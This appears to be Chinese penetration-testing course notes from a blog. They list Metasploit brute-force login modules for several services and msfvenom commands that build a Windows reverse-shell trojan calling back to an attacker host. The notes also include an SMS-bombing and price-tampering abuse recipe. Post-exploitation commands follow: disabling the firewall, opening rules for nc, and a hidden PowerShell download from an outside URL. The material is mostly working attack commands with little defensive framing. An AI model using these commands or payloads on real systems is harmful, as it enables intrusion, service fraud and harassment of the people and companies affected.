samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,是一种在局域网上共享文件和打印机的一种通信协议。

• 默认端口:445

• 模块位置:auxiliary/scanner/smb/smb_login


ssh服务

SSH 为建立在应用层基础上的安全协议,数据加密传输。

• 默认端口:22

• 模块位置:auxiliary/scanner/ssh/ssh_login


mysql 服务

MySQL是一个关系型数据库管理系统,root登录之后可执行系统命令。

• 默认端口:3306

• 模块位置:auxiliary/scanner/mysql/mysql_login

使用mysql口令破解模块,这里一定要自定义一个密码字典,尽管它选项required是no,但是还是需要配置


mssql服务

Mssql(sql server)是一个关系型数据库管理系统,使用sa登录之后可以使用xp_cmdshell执行系统命令。

• 默认端口:1433

• 模块位置:auxiliary/scanner/mssql/mssql_login


oracle服务

oracle是一个关系型数据库管理系统。

• 默认端口:1521

• 模块位置:auxiliary/scanner/oracle/oracle_login


postgresql服务

版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。

• 默认端口:5432

• 模块位置:auxiliary/scanner/postgres/postgres_login


http 登录认证(路由器)

支持的路由器:dlink

• 默认端口:80

• 模块位置:

  1. auxiliary/scanner/http/dlink_dir_300_615_http_login

  2. auxiliary/scanner/http/dlink_dir_615h_http_login

  3. auxiliary/scanner/http/dlink_dir_session_cgi_http_login


PcAnywhere

PcAnywhere是一款远程控制软件,你可以将你的电脑当成主控端去控制远方另一台同样安装有pcANYWHERE的电脑(被控端)。

• 默认端口:5631

• 模块位置:auxiliary/scanner/pcanywhere/pcanywhere_login


ftp匿名登录

使用用户名为anonymous登录ftp服务器。

• 默认端口:21

• 模块位置:auxiliary/scanner/ftp/anonymous


tomcat登录破解

• 默认端口:8080

• 模块位置:auxiliary/scanner/http/tomcat_mgr_login


7.7利用msf模块中的msfvenom模块生成木马

MSF

•生成方式:利用msf模块中的msfvenom模块

•原理:msfvenom是msfpayload、msfencode的结合体,利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线

•云主机 Ubuntu windows

使用说明:

参数含义
-p,–payload 使用指定的payload
-l,–list [module_type] 列出指定模块可用的payloads,包括payloads、encoders、nops、all
-n,–nopsled 为payload指定一个 nopsled 长度
-f,–format 指定输出格式,如exe等
-e,–encoder 使用编码器
-a,–arch 指定payload构架(x86、x64)
–platform指定payload平台
-s,–space 指定payload攻击荷载的最大长度
-b,–bad-chars 指定规避字符集,如: '\x00\xff‘
-i,–iterations 指定编码次数
-c,–add-code 指定一个附加的win32 shellcode 文件
-x,–template 指定一个可执行文件作为模板
-k,–keep payload自动分离并注入到新的进程
-o,–out 保存生成的payload
-v,–var-name 指定自定义变量
-h,–help 显示帮助文件

msfvenom --list platforms 显示支持的平台
msfvenom --list formats 显示支持的格式


msfvenom编码器

msfvenom --list encoders


metasploit生成windows木马并尝试提权

攻击机ip:192.168.30.133

靶机ip:192.168.30.130

攻击端口:12346


生成一个木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.30.133 lport=12346 -f exe -o wind.exe

lhost为攻击机ip

lport为攻击机端口

接着我们要使用到一个后门模块,配置一个反弹会话处理程序,叫做‍‍‍‍exploit/multi/handler‍‍

use exploit/multi/handler‍‍


msf远控

set lhost 192.168.30.133

set lport 12346

在靶场运行chenx.exe

成功建立连接

比如:sysinfo

输入shell进入交互式cmd

chcp 65001修正


8.补充课

SRC挖掘指南

关于漏洞响应平台

互联网漏洞提交

专属厂商漏洞提交

SRC: Security Response Center


相关法律法规

厂商测试说明文档

挖洞

威胁情报


无限制短信轰炸导致资金消耗

拦截一个请求验证码的数据包,发现在手机号后添加:%20和任意英文字母都可以绕过

利用思路:Python写一个循环,每次在手机号末尾添加随机英文组合或叠加%20,发送100w次请求


无限制使用一元买价值899的vip会员

发起一个正常的购买请求,拦截请求数据包,修改参值,购买成功

注:coupon=优惠券,discount=折扣,product=这里可以看出来是一年的vip


对登录密码框进行FUZZ

无验证码==》尝试admin、admin==》提醒密码错误==》使用密码字典


后渗透基础知识

查询网络配置

ipconfig /all

主DNS后缀 可以判断是否有域


查询用户列表

net user

实际在做渗透测试时,会发现用户名成规律 gcb-003,gcb-004

可以摸索和推测整个域的命名方式


查看管理员组

net localgroup administrator

查看在线用户query user ||qwinsta,在远程登录的时候要看一下


查询进程

tasklist /v

wmic process list brief


查询系统

systeminfo

查看安装软件以及版本,路径等

wmic product get name,version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"


防火墙

修改防火墙配置(关闭防火墙动静可能会很大)netsh advfirewall set allprofiles state off

A. Windows Server 2003系统及之前版本,允许指定程序全部连接

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

B. Windows Server 2003之后系统版本

允许指定程序连入

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"

允许指定程序连出

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"

C. 允许3389端口放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389


Powershell远程下载文件

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://space.search-exp.com/index.php?share/file&user=1&sid=EjhymeYZ','powerview.ps1');

Restricted 默认权限 不允许执行任何脚本

Allsigned 只允许运行证书验证的脚本

Unrestricted 执行任意脚本

RemoteSigned 网络脚本要进行签名

set-executionpolicy unrestricted


Powershell – powerview

Import-Module .\PowerView.ps1

Powerview中常用命令

get-netdomain当前所在域名称

get-netuser所有用户详细信息

get-netdomaincontroller所有域控

  • 3
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
推荐,网络安全中的漏洞挖掘实践合集,仅供大家学习参阅,包含内容如下: 针对现实应用的文本对抗攻击研究 安全众测下的漏洞发展新趋势 安卓应用漏洞挖掘 从0到1-发现与拓展攻击面 对基于Git的版本控制服务的通用攻击面的探索 对民用飞行控制系统固件的逆向与漏洞分析 卫星通信的安全缺陷 基于全流量的智慧漏洞挖掘 基于运行时类型嗅探技术提高模糊测试的漏洞发掘效果 漏洞挖掘进化论-推开xray之门 逆向在漏洞挖掘中的应用 苹果攻击面和漏洞挖掘自动化研究 如何从高赏金项目中拿到高危 如何去挖掘物联网环境中的高级恶意软件威胁 如何在3个月发现 12 个内核信息泄露漏洞 沙箱内持久化.行之有效的沙箱攻击新思路 深度解析Weblogic_XMLDecoder反序列化 使用数据流敏感模糊测试发现漏洞 锁不住的安全 谈谈工业协议转换器的一些问题 逃逸IE浏览器沙箱-在野0Day漏洞利用复现 为何自动化漏洞挖掘如此困难 现代可抵赖后门研究 一扇虚掩的大门-现代智能系统的重要攻击面 源代码漏洞挖掘 远程root现代安卓设备 在现代Windows内核中发现存在20年的漏洞 针对智能设备漏洞挖掘的一些新方法 AI用于软件漏洞挖掘 AndroidWebView安全攻防指南2020 Java反序列化漏洞自动挖掘方法 macOS从运行库劫持到内核提权 MTK安全启动大剖析.CIS大会分论 MyBatis框架下SQL注入解决方案 Qemu-kvm和ESXi虚拟机逃逸实例分享 WEB常见漏洞与挖掘技巧研究 Web漏洞挖掘速成特训营 混合式漏洞挖掘研究进展

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值